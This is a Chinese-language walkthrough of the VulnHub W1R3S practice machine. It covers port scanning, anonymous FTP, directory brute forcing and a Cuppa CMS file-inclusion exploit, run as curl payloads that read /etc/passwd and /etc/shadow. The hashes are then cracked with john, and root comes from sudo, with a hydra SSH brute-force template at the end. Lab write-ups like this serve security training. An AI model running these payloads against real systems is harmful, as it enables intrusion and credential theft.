VulnHub-W1R3S 1.0.1

W1R3S 1.0.1

1、主机发现扫描整个C段

建议使用sudo执行命令行,而不是直接使用root账户执行。
靶场地址:https://www.vulnhub.com/entry/w1r3s-101,220/

sudo nmap -sn 192.168.1.0/24

解释:

-sn:主机发现后不进行端口扫描,使用特权用户扫描本地网络用的是ARP与sudo apr-scan -l相似。

  • ICMP回显请求
  • TCPSYN请求 443
  • TCPACK 80
  • ICMP时间戳

-sl:列表扫描,,对目标进行轻量级侦察。

在这里插入图片描述

2、确认目标后进行端口扫描

sudo mkdir nmapsacn

在这里插入图片描述

解释:

创建一个名为nmapcsan的文件夹,用于存放nmap的扫描信息。

然后进行端口扫描,保持最低扫描速率为10000,在实际的红队操作中要比这个值小之又小,防止被察觉。

sudo nmap --min-rate 10000 -p- 192.168.1.7 -oA nmapscan/ports

解释:

–min-rate:指扫描以最低多少的速率进行端口扫描

-p-:指定扫描端口,-为1~65535的简写

-OA:全格式输出到文件夹中

可以发现开放了四个端口分别时21、22、80、3306,对应的服务位ftp,ssh,http,mysql。

在这里插入图片描述

用grep去搜索nmapscan/ports.nmap中的扫描结果,将获得要求的第一列,即开放的端口,显示在一行用逗号分隔。最后存放在变量ports中,以便后续调用使用。

ports=$(grep open nmapscan/ports.nmap | awk -F '/' '{print $1}' | paste -sd ',')

在这里插入图片描述

3、构建详细信息扫描

sudo nmap -sT -sV -sC -O -p 21,22,80,3306 192.168.1.7 -oA nmapscan/detail

解释:

-sT:Tcp扫描

-sV:探测服务器版本

-sC:默认脚本扫描

-O:探测操作系统版本

-p:指定端口

区别:

-sS:S是默认扫描技术,利用TCP的SYN标志位来检测目标主机端口,发送一个SYN包只建立TCP连接的第一步,如果收到目标主机的SYN中的ACK回复表示该端口开放,如果收到KST(复位)数据包,则表示端口关闭。

-sT:三次握手来判断,推荐使用这个来检测,因为大多数防火墙检测一次握手。

分析:

21端口运行的ftp服务版本是vsftpd 2.0.8或之前版本,其中d指的是demon,允许程序可以匿名登录。

在这里插入图片描述

22端口运行的ssh服务是openssh,并猜测是ubuntu版本。

在这里插入图片描述

80端口运行的http服务是apache httpd 2.4.18,3306端口运行的是mysql服务,系统内核版本为3.0或4.0。

在这里插入图片描述

在这里插入图片描述

4、UDP扫描

详细信息扫描时同时进行UDP扫描

sudo nmap -sU --top-ports 20 192.168.1.7 -oA nmapscan/udp

分析:

在这里插入图片描述

5、脚本扫描

通过脚本扫描我们可以知道,忽略Dos利用我们发现80端口有wordpress登录页,后续我们可以从这里展开操作。

sudo nmap --script=vuln -p 21,22,80,3306 192.168.1.7 -oA nmapscan/vuln

在这里插入图片描述

6、测试FTP

首先连接FTP服务,登录用户名是anonymous,密码为空,成功登录后,使用?显示出可用FTP可用命令。

ftp 192.168.1.7

在这里插入图片描述

使用ls命令展示当前文件目录,发现有三个文件目录,进入content中在使用ls命令查看,发现文件全部为.txt格式,关闭交互模式下使用mget进行多文件下载。其他的文件也按此操作下载。

ls
cd content
prompt
mget *.txt

在这里插入图片描述

使用当cat *.txt读取下载到当前目录的全部文件,发现了一条明文信息,一条md5信息,一条base64信息,雇员列表,翻转的信息。

在这里插入图片描述

使用hash-identifier确认为此hash为md5,通过在线网站查询到数据为This is not a password,说明这条信息没有作用,按思路继续向下。

hash-identifier '01ec2d8fc11c493b25029fb1f47f39ce'

在这里插入图片描述

在这里插入图片描述

解密base64后得到的信息仍然不是有用信息,所以继续向下寻找。雇员列表中包含的一些雇员的姓名和职位,根据他们职位分析每个人有什么职能,存在多少数据,还可以使用这些信息编写密码字典。

echo "SXQgaXMgZWFzeSwgYnV0IG5vdCB0aGF0IGVhc3kuLg==" | base64 -d

在这里插入图片描述

最后一部分为上下颠倒,左右颠倒文字,使用在线工具进行https://www.upsidedowntext.com/还原,得到文字:we have a ןot of work to do‘ stop pןayıng around˙˙˙˙和ı don’t thınk thıs ıs the way to root!明确得到了信息,FTP这没有可用信息,于是换个思路,对别的端口进行测试。

7、尝试连接Mysql

尝试使用root/root连接数据库,发现连接失败,于是利用其他端口。

mysql -h 192.168.1.7 -uroot -proot

在这里插入图片描述

8、测试80端口

浏览器访问目标的80端口,发现仅有一个配置页,页面无任何信息,审查页面也无任何信息。

在这里插入图片描述

在这里插入图片描述

当时脚本扫描的时候好像有一个wordpress的登陆界面,去试试看,搜索wordpress默认账户和密码,使用其登陆,发现强制跳转到localhost上,无奈只能换个思路。

在这里插入图片描述

在这里插入图片描述

使用gobuster爆破一下网站后台,看看有没有其他页面。

sudo gobuster dir -u http://192.168.1.7 --wordlist=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

在这里插入图片描述

爆破出来如下页面,挨个进入查看,发现wordpress仍然重定向到localhost而javascript则不允许访问,只有最后一个页面可以进入,并且得知是Cuppa CMS。

在这里插入图片描述

使用Cuppa CMS页面继续进行测试,发现这是一个CMS安装的页面。点击NEXT可能会发生网站数据库被覆盖问题,充分搜索评估后点击NEXT按钮,进入配置页面输入数据库配置信息,然后再点击NEXT。发现发生错误,创建失败。

在这里插入图片描述
在这里插入图片描述

此时无法判断版本,只能通过搜索CMS进行后续行动,使用kali自带的漏洞搜索功能进行搜索,发现存在漏洞。

searchsploit cuppa cms

在这里插入图片描述

我们将其漏洞详情导出,用于查看。

searchsploit cuppa cms -m 25971.txt

在这里插入图片描述

我们可以知道这是一个文件包含漏洞,可以用于读取敏感信息或者执行shell。

在这里插入图片描述

测试是EXP是否能在当前版本使用,访问连接使用GET请求http://192.168.1.7/administrator/alerts/alertConfigField.php?urlConfig=…/…/…/…/…/…/…/…/…/etc/passwd,读取linux账户。发现读取失败,页面为空白。更换位POST进行提交测试,发现读取linux账户成功。命令如下:

curl --data-urlencode 'urlConfig=../../../../../../../../../etc/passwd' http://192.168.1.7/administrator/alerts/alertConfigField.php

在这里插入图片描述

立即读取其密码文件/etc/shadow,将其保存为shadow.hash来用于解密。

curl --data-urlencode 'urlConfig=../../../../../../../../../etc/shadow' http://192.168.1.7/administrator/alerts/alertConfigField.php

在这里插入图片描述

使用john解密hash,获得到www-data和w1r3s账户的密码。由于www-data用户应为网站目录用户,权限较低,故使用w1r3s账户进行ssh登陆。

john shadow.hash

在这里插入图片描述

9、SSH登陆服务器

使用SSH命令登陆服务器,输入密码后进行连接,成功登陆。

sudo ssh w1r3s@192.168.1.7 

在这里插入图片描述

查询当前用户,查询当前用户ID,发现有sudo,想着可以使用sudo提权,使用sudo -l查看当前账户有哪些sudo权限,结果3个ALL,直接使用sudo /bin/bash启动一个新的终端。

whoami
id
uname -a
sudo -l
sudo /bin/bash

在这里插入图片描述

通过命令可知获取root权限成功,读取flag即可。

cat /root/flag.txt 

在这里插入图片描述

10、SSH爆破

在所有方法走不通的情况下可以考虑SSH爆破。

hydra -L 用户列表 -P 密码列表 ssh://地址 -t 4
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值